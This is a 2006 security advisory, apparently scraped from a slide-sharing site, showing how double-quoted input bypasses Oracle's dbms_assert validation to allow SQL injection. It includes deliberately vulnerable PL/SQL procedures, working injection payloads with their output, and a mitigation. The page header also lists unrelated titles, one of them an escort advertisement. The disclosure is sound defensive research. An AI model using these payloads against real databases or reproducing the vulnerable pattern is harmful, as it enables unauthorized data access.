GenCyber Cyber Security Day Presentation
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 

Bypassing Oracle dbms_assert

  • 1. Bypassing Oracle dbms_assert V1.00 Bypassing Oracle dbms_assert by Alexander Kornbrust of Red-Database-Security GmbH http://www.red-database-security.com Summary: By using specially crafted parameters (in double quotes) it is possible to bypass the input validation of the package dbms_assert and inject SQL code. This makes dozens of already fixed Oracle vulnerabilities exploitable in all versions of Oracle again (8.1.7.4 – 10.2.0.2, fully patched with Oracle CPU July 2006). I informed Oracle about this problem end of April and informed Oracle about some bugs + exploits. To mitigate the risk you should revoke especially the privilege “CREATE PROCEDURE” or “ALTER PROCEDURE” to avoid privilege escalation by injection specially crafted functions or procedures. Tags: dbms_assert, SQL Injection, dynamic SQL, Introduction: To protect the Oracle PL/SQL system packages from the growing number of SQL injection vulnerabilities Oracle introduced a new package called dbms_assert in Oracle 10g Release 2. This package was backported with the Oracle Critical Patch Update (CPU) October 2005 to all supported databases (8.1.7.4 until 10.1.0.5). But let's start from the beginning... DBMS_ASSERT is a PL/SQL package consisting of the following functions. ENQUOTE_LITERAL ENQUOTE_NAME NOOP QUALIFIED_SQL_NAME SCHEMA_NAME SIMPLE_SQL_NAME SQL_OBJECT_NAME A detailed explanation of these functions (+usage) can be found in David Litchfield and Dr. Hall’s articles (see [1], [2]). Using a central function to sanitize the (user) input is and was a clever strategy from Oracle as long as the dbms_assert can not be bypassed. If such a central function can be bypassed then this is a nice thing for security researchers and attackers because the usage of this function (dbms_assert) marks all vulnerable functions und procedures. © 2006 by Red-Database-Security GmbH 1/5
  • 2. Bypassing Oracle dbms_assert V1.00 Within minutes it's possible to find dozens of vulnerable PL/SQL functions and procedures in all (fully-patched) versions of Oracle (8.1.7.4 until 10.2.0.2 with CPU July 2006) if you know the right search string and if you are able to unwrap PL/SQL code. Since years there are already PL/SQL unwrappers out there and Pete Finnigan will speak about this unwrapping PL/SQL (+ simple proof-of-concept) at the Black Hat 2006 in Las Vegas [3]. © 2006 by Red-Database-Security GmbH 2/5
  • 3. Bypassing Oracle dbms_assert V1.00 Let's start with some simple PL/SQL examples. A PL/SQL-procedure accepts a parameter TABLENAME and concatenates this parameter to a dynamic SQL statement. This SQL statement will be executed with execute immediate. (Vulnerable) Solution without dbms_assert: CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) IS BEGIN dbms_output.put_line(' SQL=select count(*) from all_tables where table_name='''|| TABLENAME||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''|| TABLENAME ||''''; END test1; / Procedure created. Now we are using a normal table name as a parameter SQL> exec test1('CAT'); SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Because this parameter is not sanitized we can inject PL/SQL code, e.g. “or 1=1--" SQL> exec test1('CAT'' or 1=1--'); SQL=select count(*) from all_tables where table_name='CAT' or 1=1--' PL/SQL procedure successfully completed. © 2006 by Red-Database-Security GmbH 3/5
  • 4. Bypassing Oracle dbms_assert V1.00 Solution with dbms_assert (still vulnerable): Now we sanitize the user input with dbms_assert.qualified_sql_name. Oracle is using exactly this approach several times in their internal PL/SQL code. CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) IS VERIFY_TAB VARCHAR2(64); BEGIN VERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME); dbms_output.put_line('ASSERT result='||VERIFY_TAB); dbms_output.put_line('SQL=select count(*) from all_tables where table_name='''|| VERIFY_TAB ||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''||VERIFY_TAB||''''; END test2; / Procedure created. We pass our table CAT as parameter and everything works as expected SQL> exec test2('CAT'); ASSERT result=CAT SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Now we try to inject additional code. This time dbms_assert.qualified_sql_name throws an error and the dynamic SQL is not executed. SQL> exec test2('CAT'' or 1=1--'); BEGIN test2('CAT'' or 1=1--'); END; * ERROR at line 1: ORA-06502: PL/SQL: numeric or value error ORA-06512: at "SYS.DBMS_ASSERT", line 206 ORA-06512: at "USER1.TEST2", line 5 ORA-06512: at line 1 © 2006 by Red-Database-Security GmbH 4/5
  • 5. Bypassing Oracle dbms_assert V1.00 And we inject an object name in double quotes into our procedure SQL> exec test2('"CAT'' or 1=1--"'); ASSERT result="CAT' or 1=1--" SQL=select count(*) from all_tables where table_name='"CAT' or 1=1--"' PL/SQL procedure successfully completed. And, what surprise, it works... dbms_assert.qualified_sql_name skips the input validation if the parameter is enquoted by double quotes. If you use DBMS_ASSERT.sql_object_name you must create an object first, e.g. CREATE TABLE " ' or 1=1-- ". An attacker can use this technique (double quote around parameters) to bypass dbms_assert. I informed Oracle end of April about this problem and reported already some related security bugs in some Oracle PL/SQL packages. Oracle has no problem with the release of this information (“Oracle sees no problem with your publication of the white paper.”) History: • 1.00 – 27-july-2006 – initial release References: • [1] Securing PL/SQL Applications with DBMS_ASSERT http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf • [2] DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php • [3] How to Unwrap Oracle PL/SQL http://www.blackhat.com/html/bh-usa-06/bh-us-06-speakers.html#Finnigan (c) 2006 by Red-Database-Security GmbH © 2006 by Red-Database-Security GmbH 5/5